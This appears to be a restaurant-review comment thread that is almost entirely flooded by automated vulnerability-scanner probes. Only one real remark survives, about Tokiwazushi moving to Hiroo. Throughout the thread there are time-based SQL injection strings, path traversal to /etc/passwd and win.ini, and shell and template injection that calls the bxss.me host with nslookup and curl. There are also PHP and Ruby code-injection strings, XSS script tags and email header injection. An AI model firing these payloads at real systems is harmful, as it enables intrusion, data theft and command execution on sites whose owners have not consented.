'||(select 1 from (select pg_sleep(15))x)||'
re: thetokyogourmet
''||(select 1 from (select pg_sleep(15))x)||''
re: thetokyogourmet
'"
re: thetokyogourmet
@@K4xfC
re: thetokyogourmet
(select 198766*667891)
re: thetokyogourmet
(select 198766*667891 from DUAL)
re: thetokyogourmet
glx71pQs
re: thetokyogourmet
1*
re: thetokyogourmet
1*
re: thetokyogourmet
1*
re: thetokyogourmet
1*
re: thetokyogourmet
-1 OR 2+153-153-1=0+0+0+1
re: thetokyogourmet
-1 OR 3+153-153-1=0+0+0+1
re: thetokyogourmet
if(now()=sysdate(),sleep(15),0)
re: thetokyogourmet
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: thetokyogourmet
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: thetokyogourmet
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: thetokyogourmet
-1; waitfor delay '0:0:15' --
re: thetokyogourmet
-1); waitfor delay '0:0:15' --
re: thetokyogourmet
1 waitfor delay '0:0:15' --
re: thetokyogourmet
tW0Gf64e'; waitfor delay '0:0:15' --
re: thetokyogourmet
-5 OR 445=(SELECT 445 FROM PG_SLEEP(15))--
re: thetokyogourmet
-5) OR 232=(SELECT 232 FROM PG_SLEEP(15))--
re: thetokyogourmet
-1)) OR 322=(SELECT 322 FROM PG_SLEEP(15))--
re: thetokyogourmet
bboLVNZR' OR 412=(SELECT 412 FROM PG_SLEEP(15))--
re: thetokyogourmet
WzNdZm3k') OR 948=(SELECT 948 FROM PG_SLEEP(15))--
re: thetokyogourmet
jIsMD5rw')) OR 790=(SELECT 790 FROM PG_SLEEP(15))--
re: thetokyogourmet
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: thetokyogourmet
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: thetokyogourmet
'||(select 1 from (select pg_sleep(15))x)||'
re: thetokyogourmet
''||(select 1 from (select pg_sleep(15))x)||''
re: thetokyogourmet
1'"
re: thetokyogourmet
@@dJErO
Some of the pricing info are outdated though. Tokiwazushi is moving to Tokyo Hiroo in March, I assume likely it will no longer be easy to book.
re: guest
1Bq85ct4XiO
re: guest
response.write(9350270*9987587)
re: guest
'+response.write(9350270*9987587)+'
re: guest
<esi:include src="http://bxss.me/rpb.png"/>
re: guest
"+response.write(9350270*9987587)+"
re: guest
%0abcc:074625.67-22123.67.75275.19990.2@bxss.me
re: guest
to@example.com>%0d%0abcc:074625.67-22124.67.75275.19990.2@bxss.me
re: guest
${9999604+10000105}
re: guest
../../../../../../../../../../../../../../etc/passwd
re: guest
../../../../../../../../../../../../../../windows/win.ini
re: guest
)
re: guest
'.gethostbyname(lc('hitjx'.'xxgqvtpk309bf.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(78).chr(102).chr(67).'
re: guest
file:///etc/passwd
re: guest
!(()&&!|*|*|
re: guest
".gethostbyname(lc("hitsg"."nkrakgbz1196a.bxss.me."))."A".chr(67).chr(hex("58")).chr(118).chr(80).chr(111).chr(74)."
re: guest
../../../../../../../../../../../../../../../proc/version
re: guest
^(#$!@#$)(()))******
re: guest
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
re: guest
../../../../../../../../../../etc/passwd%00.jpg
re: guest
HttP://bxss.me/t/xss.html?%00
re: guest
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
re: guest
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
re: guest
"+"A".concat(70-3).concat(22*4).concat(107).concat(70).concat(115).concat(83)+(require"socket"
Socket.gethostbyname("hitmo"+"ypcozowvb26a0.bxss.me.")[3].to_s)+"
re: guest
bxss.me/t/xss.html?%00
re: guest
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
re: guest
'+'A'.concat(70-3).concat(22*4).concat(119).concat(89).concat(114).concat(80)+(require'socket'
Socket.gethostbyname('hitya'+'puvxmkuvcb2c2.bxss.me.')[3].to_s)+'
re: guest
echo iuzurm$()\ vfpiiu\nz^xyu||a #' &echo iuzurm$()\ vfpiiu\nz^xyu||a #|" &echo iuzurm$()\ vfpiiu\nz^xyu||a #
re: guest
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
re: guest
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
re: guest
&echo osufsr$()\ xginan\nz^xyu||a #' &echo osufsr$()\ xginan\nz^xyu||a #|" &echo osufsr$()\ xginan\nz^xyu||a #
re: guest
/etc/passwd
re: guest
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
re: guest
|echo xutpez$()\ qgckqx\nz^xyu||a #' |echo xutpez$()\ qgckqx\nz^xyu||a #|" |echo xutpez$()\ qgckqx\nz^xyu||a #
re: guest
%2fetc%2fpasswd
re: guest
'"
re: guest
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: guest
Http://bxss.me/t/fit.txt
re: guest
(nslookup hityueeiirmft72aee.bxss.me||perl -e "gethostbyname('hityueeiirmft72aee.bxss.me')")
re: guest
/.././.././.././.././.././.././.././../etc/./passwd%00
re: guest
<!--
re: guest
';print(md5(31337));$a='
re: guest
http://bxss.me/t/fit.txt%3F.jpg
re: guest
$(nslookup hitbcovjaearia5af6.bxss.me||perl -e "gethostbyname('hitbcovjaearia5af6.bxss.me')")
re: guest
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
re: guest
";print(md5(31337));$a="
re: guest
/etc/shells
re: guest
&nslookup hitekzlvmjnow9b51a.bxss.me&'\"`0&nslookup hitekzlvmjnow9b51a.bxss.me&`'
re: guest
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
re: guest
${@print(md5(31337))}
re: guest
c:/windows/win.ini
re: guest
&(nslookup hitlswfhmlnbv14739.bxss.me||perl -e "gethostbyname('hitlswfhmlnbv14739.bxss.me')")&'\"`0&(nslookup hitlswfhmlnbv14739.bxss.me||perl -e "gethostbyname('hitlswfhmlnbv14739.bxss.me')")&`'
re: guest
../././../././../././../././../././../././../././../././../././../././etc/passwd
re: guest
${@print(md5(31337))}\
re: guest
bxss.me
re: guest
|(nslookup hitdjowhmdqox0484b.bxss.me||perl -e "gethostbyname('hitdjowhmdqox0484b.bxss.me')")
re: guest
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
re: guest
'.print(md5(31337)).'
re: guest
`(nslookup hitvasiywdnmse979b.bxss.me||perl -e "gethostbyname('hitvasiywdnmse979b.bxss.me')")`
re: guest
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
re: guest
;(nslookup hitphxmatmglgdafad.bxss.me||perl -e "gethostbyname('hitphxmatmglgdafad.bxss.me')")|(nslookup hitphxmatmglgdafad.bxss.me||perl -e "gethostbyname('hitphxmatmglgdafad.bxss.me')")&(nslookup hitphxmatmglgdafad.bxss.me||perl -e "gethostbyname('hitphxmatmglgdafad.bxss.me')")
re: guest
file:///etc/passwd
re: guest
/\../\../\../\../\../\../\../etc/passwd
re: guest
/WEB-INF/web.xml
re: guest
C:\WINDOWS\system32\drivers\etc\hosts
re: guest
../../../../../../../../../../windows/win.ini%00.jpg
re: guest
/../../../../../../../../../../boot.ini
re: guest
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
re: guest
..\..\..\..\..\..\..\..\windows\win.ini
re: guest
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
re: guest
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
re: guest
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
re: guest
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
re: guest
unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\
re: guest
WEB-INF/web.xml
re: guest
WEB-INF\web.xml
re: guest
1
re: guest
1
re: guest
-1 OR 2+758-758-1=0+0+0+1 --
re: guest
-1 OR 3+758-758-1=0+0+0+1 --
re: guest
-1 OR 2+643-643-1=0+0+0+1
re: guest
-1 OR 3+643-643-1=0+0+0+1
re: guest
-1' OR 2+693-693-1=0+0+0+1 --
re: guest
-1' OR 3+693-693-1=0+0+0+1 --
re: guest
-1' OR 2+750-750-1=0+0+0+1 or 'KvoWJCrK'='
re: guest
-1' OR 3+750-750-1=0+0+0+1 or 'KvoWJCrK'='
re: guest
-1" OR 2+76-76-1=0+0+0+1 --
re: guest
-1" OR 3+76-76-1=0+0+0+1 --
re: guest
if(now()=sysdate(),sleep(15),0)
re: guest
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: guest
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: guest
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: guest
-1; waitfor delay '0:0:15' --
re: guest
-1); waitfor delay '0:0:15' --
re: guest
1 waitfor delay '0:0:15' --
re: guest
lJucTcg5'; waitfor delay '0:0:15' --
re: guest
-5 OR 271=(SELECT 271 FROM PG_SLEEP(15))--
re: guest
-5) OR 880=(SELECT 880 FROM PG_SLEEP(15))--
re: guest
-1)) OR 778=(SELECT 778 FROM PG_SLEEP(15))--
re: guest
QsqBlCWa' OR 365=(SELECT 365 FROM PG_SLEEP(15))--
re: guest
zELtNmdo') OR 347=(SELECT 347 FROM PG_SLEEP(15))--
re: guest
aq6sGl6t')) OR 429=(SELECT 429 FROM PG_SLEEP(15))--
re: guest
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: guest
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: guest
'||(select 1 from (select pg_sleep(15))x)||'
re: guest
''||(select 1 from (select pg_sleep(15))x)||''
re: guest
1'"
re: guest
@@Ngc2P
re: guest
1BCZLYR5C30
re: guest
response.write(9095155*9534902)
re: guest
'+response.write(9095155*9534902)+'
re: guest
"+response.write(9095155*9534902)+"
re: guest
../../../../../../../../../../../../../../etc/passwd
re: guest
<esi:include src="http://bxss.me/rpb.png"/>
re: guest
../../../../../../../../../../../../../../windows/win.ini
re: guest
${9999300+9999602}
re: guest
file:///etc/passwd
re: guest
../
re: guest
)
re: guest
!(()&&!|*|*|
re: guest
^(#$!@#$)(()))******
re: guest
redirtest.acx
re: guest
ctime
sleep
p0
(I30
tp1
Rp2
.
re: guest
echo lhpazi$()\ popbxj\nz^xyu||a #' &echo lhpazi$()\ popbxj\nz^xyu||a #|" &echo lhpazi$()\ popbxj\nz^xyu||a #
re: guest
'.gethostbyname(lc('hitup'.'ycxipypwd910c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(89).chr(104).chr(74).'
re: guest
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
re: guest
".gethostbyname(lc("hityq"."rctwufxt8595d.bxss.me."))."A".chr(67).chr(hex("58")).chr(105).chr(78).chr(104).chr(81)."
re: guest
&echo nvlswn$()\ kdyobl\nz^xyu||a #' &echo nvlswn$()\ kdyobl\nz^xyu||a #|" &echo nvlswn$()\ kdyobl\nz^xyu||a #
re: guest
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
re: guest
gethostbyname(lc('hitgg'.'hmftxoqm1158b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(78).chr(113).chr(78)
re: guest
|echo iggsfj$()\ kntjyi\nz^xyu||a #' |echo iggsfj$()\ kntjyi\nz^xyu||a #|" |echo iggsfj$()\ kntjyi\nz^xyu||a #
re: guest
/etc/shells
re: guest
expr 9000610239 - 951973
re: guest
../../../../../../../../../../../../../../etc/shells
re: guest
(nslookup -q=cname hitdemqyumcwp29243.bxss.me||curl hitdemqyumcwp29243.bxss.me))
re: guest
c:/windows/win.ini
re: guest
$(nslookup -q=cname hitwcikietwsnf0324.bxss.me||curl hitwcikietwsnf0324.bxss.me)
re: guest
bxss.me
re: guest
&nslookup -q=cname hitfbxunbueys30dfa.bxss.me&'\"`0&nslookup -q=cname hitfbxunbueys30dfa.bxss.me&`'
re: guest
Http://bxss.me/t/fit.txt
re: guest
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: guest
&(nslookup -q=cname hitgcytamwkifa221b.bxss.me||curl hitgcytamwkifa221b.bxss.me)&'\"`0&(nslookup -q=cname hitgcytamwkifa221b.bxss.me||curl hitgcytamwkifa221b.bxss.me)&`'
re: guest
http://bxss.me/t/fit.txt?.jpg
re: guest
';print(md5(31337));$a='
re: guest
HttP://bxss.me/t/xss.html?%00
re: guest
|(nslookup -q=cname hitclqscfdapfb52ae.bxss.me||curl hitclqscfdapfb52ae.bxss.me)
re: guest
'"()
re: guest
";print(md5(31337));$a="
re: guest
bxss.me/t/xss.html?%00
re: guest
`(nslookup -q=cname hitxeappbpooue40a9.bxss.me||curl hitxeappbpooue40a9.bxss.me)`
re: guest
'&&sleep(27*1000)*ttkynq&&'
re: guest
${@print(md5(31337))}
re: guest
;(nslookup -q=cname hitpqfnmnnlnzc43b9.bxss.me||curl hitpqfnmnnlnzc43b9.bxss.me)|(nslookup -q=cname hitpqfnmnnlnzc43b9.bxss.me||curl hitpqfnmnnlnzc43b9.bxss.me)&(nslookup -q=cname hitpqfnmnnlnzc43b9.bxss.me||curl hitpqfnmnnlnzc43b9.bxss.me)
re: guest
"&&sleep(27*1000)*oupmzl&&"
re: guest
${@print(md5(31337))}\
re: guest
|(nslookup${IFS}-q${IFS}cname${IFS}hitxgrecccmwm25eec.bxss.me||curl${IFS}hitxgrecccmwm25eec.bxss.me)
re: guest
'||sleep(27*1000)*tuxehl||'
re: guest
"+"A".concat(70-3).concat(22*4).concat(102).concat(74).concat(117).concat(86)+(require"socket"
Socket.gethostbyname("hittl"+"qfebwpegadd79.bxss.me.")[3].to_s)+"
re: guest
'.print(md5(31337)).'
re: guest
&(nslookup${IFS}-q${IFS}cname${IFS}hitvbmodetfghf7bbe.bxss.me||curl${IFS}hitvbmodetfghf7bbe.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitvbmodetfghf7bbe.bxss.me||curl${IFS}hitvbmodetfghf7bbe.bxss.me)&`'
re: guest
"||sleep(27*1000)*yqbyes||"
re: guest
'+'A'.concat(70-3).concat(22*4).concat(97).concat(75).concat(122).concat(76)+(require'socket'
Socket.gethostbyname('hiteq'+'ufxeqoya0a163.bxss.me.')[3].to_s)+'
re: guest
'A'.concat(70-3).concat(22*4).concat(100).concat(85).concat(116).concat(70)+(require'socket'
Socket.gethostbyname('hitqi'+'mrtskdml14c5d.bxss.me.')[3].to_s)
re: guest
replies
re: guest
replies
re: guest
replies/.
re: guest
'"
re: guest
<!--
re: guest
'"()&%<zzz><ScRiPt >qKu1(9810)</ScRiPt>
re: guest
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityzortrjejh6080e.bxss.me")}}
re: guest
'"()&%<zzz><ScRiPt >qKu1(9813)</ScRiPt>
re: guest
9153831
re: guest
cONzycgu
re: guest
*1
re: guest
*1
re: guest
*1
re: guest
*1
re: guest
-1 OR 5*5=25 --
re: guest
-1 OR 5*5=26 --
re: guest
-1 OR 5*5=25
re: guest
-1 OR 5*5=26
re: guest
*if(now()=sysdate(),sleep(15),0)
re: guest
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: guest
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: guest
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: guest
-1; waitfor delay '0:0:15' --
re: guest
-1); waitfor delay '0:0:15' --
re: guest
-1 waitfor delay '0:0:15' --
re: guest
3psfvVd6'; waitfor delay '0:0:15' --
re: guest
-1 OR 495=(SELECT 495 FROM PG_SLEEP(15))--
re: guest
-1) OR 623=(SELECT 623 FROM PG_SLEEP(15))--
re: guest
-1)) OR 304=(SELECT 304 FROM PG_SLEEP(15))--
re: guest
ojVi4Hnx' OR 724=(SELECT 724 FROM PG_SLEEP(15))--
re: guest
ZGr9ZD19') OR 159=(SELECT 159 FROM PG_SLEEP(15))--
re: guest
6GkV8KZ5')) OR 357=(SELECT 357 FROM PG_SLEEP(15))--
re: guest
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: guest
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: guest
'||(select 1 from (select pg_sleep(15))x)||'
re: guest
''||(select 1 from (select pg_sleep(15))x)||''
re: guest
'"
re: guest
@@PM40N
re: guest
(select 198766*667891)
re: guest
(select 198766*667891 from DUAL)
re: guest
eFUcBTrV
re: guest
*1
re: guest
*1
re: guest
*1
re: guest
*1
re: guest
-1 OR 5*5=25 --
re: guest
-1 OR 5*5=26 --
re: guest
-1 OR 5*5=25
re: guest
-1 OR 5*5=26
re: guest
*if(now()=sysdate(),sleep(15),0)
re: guest
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: guest
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: guest
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: guest
-1; waitfor delay '0:0:15' --
re: guest
-1); waitfor delay '0:0:15' --
re: guest
-1 waitfor delay '0:0:15' --
re: guest
iIVS1LCU'; waitfor delay '0:0:15' --
re: guest
-1 OR 499=(SELECT 499 FROM PG_SLEEP(15))--
re: guest
-1) OR 328=(SELECT 328 FROM PG_SLEEP(15))--
re: guest
-1)) OR 397=(SELECT 397 FROM PG_SLEEP(15))--
re: guest
HmIYhA9O' OR 82=(SELECT 82 FROM PG_SLEEP(15))--
re: guest
ypXWRWCJ') OR 25=(SELECT 25 FROM PG_SLEEP(15))--
re: guest
cVrNzq6i')) OR 601=(SELECT 601 FROM PG_SLEEP(15))--
re: guest
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: guest
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: guest
'||(select 1 from (select pg_sleep(15))x)||'
re: guest
''||(select 1 from (select pg_sleep(15))x)||''
re: guest
'"
re: guest
@@CfLKZ
re: guest
(select 198766*667891)
re: guest
(select 198766*667891 from DUAL)
re: guest
daEcbOYU
re: guest
1*
re: guest
1*
re: guest
1*
re: guest
1*
re: guest
-1 OR 2+449-449-1=0+0+0+1
re: guest
-1 OR 3+449-449-1=0+0+0+1
re: guest
if(now()=sysdate(),sleep(15),0)
re: guest
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: guest
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: guest
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: guest
-1; waitfor delay '0:0:15' --
re: guest
-1); waitfor delay '0:0:15' --
re: guest
1 waitfor delay '0:0:15' --
re: guest
